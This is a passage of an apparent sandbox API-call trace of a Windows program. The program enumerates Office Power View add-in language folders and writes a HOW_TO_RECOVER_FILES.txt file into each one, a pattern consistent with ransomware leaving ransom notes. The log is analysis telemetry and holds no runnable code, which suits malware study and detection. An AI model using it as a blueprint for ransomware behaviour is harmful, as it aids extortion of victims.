ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59b433, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4710, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0227.861] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x160a83ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1611aacd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sr-latn.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0227.861] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0227.861] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0227.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0227.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0227.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0227.862] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn", lpFilePart=0x0) returned 0x56 [0227.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0227.863] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.863] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0227.863] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aa3169, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aa3169, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aa3169, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0227.863] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aa3169, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0227.863] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x59b433, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x59b433, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59b433, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4710, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0227.864] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x160a83ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1611aacd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sr-latn.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0227.864] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x160a83ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1611aacd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sr-latn.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0227.864] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0227.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0227.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0227.865] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6f [0227.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0227.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-latn\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0227.866] GetFileType (hFile=0x768) returned 0x1 [0227.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0227.866] GetFileType (hFile=0x768) returned 0x1 [0227.867] WriteFile (in: hFile=0x768, lpBuffer=0x3aae598*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3aae598*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0227.868] CloseHandle (hObject=0x768) returned 1 [0227.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0227.868] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS", lpFilePart=0x0) returned 0x59 [0227.868] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b220 [0227.869] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.870] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15f50e21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc40b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0227.870] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x443f20, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x443f20, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0227.870] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6f2911, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6f2911, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6f2911, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0227.870] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4710, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0227.870] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15ede724, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sr-Latn-CS.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0227.870] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0227.870] FindClose (in: hFindFile=0x134b220 | out: hFindFile=0x134b220) returned 1 [0227.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0227.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0227.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0227.871] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS", lpFilePart=0x0) returned 0x59 [0227.871] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b4c0 [0227.872] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.872] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15f50e21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc40b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0227.873] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x443f20, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x443f20, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0227.873] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6f2911, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6f2911, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6f2911, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0227.873] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4710, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0227.873] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15ede724, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sr-Latn-CS.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0227.873] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15ede724, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sr-Latn-CS.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0227.873] FindClose (in: hFindFile=0x134b4c0 | out: hFindFile=0x134b4c0) returned 1 [0227.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0227.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0227.874] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x72 [0227.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0227.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-latn-cs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0227.876] GetFileType (hFile=0x768) returned 0x1 [0227.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0227.876] GetFileType (hFile=0x768) returned 0x1 [0227.876] WriteFile (in: hFile=0x768, lpBuffer=0x3ac2098*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3ac2098*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0227.877] CloseHandle (hObject=0x768) returned 1 [0227.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0227.878] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv", lpFilePart=0x0) returned 0x51 [0227.878] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0227.880] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.880] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3a5b63a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3a5b63a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0227.880] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdc8437, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0227.880] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb713a45, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb713a45, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb78613f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0227.880] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0227.880] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16035c5a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ea7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sv.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0227.881] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0227.881] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0227.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0227.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0227.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0227.881] 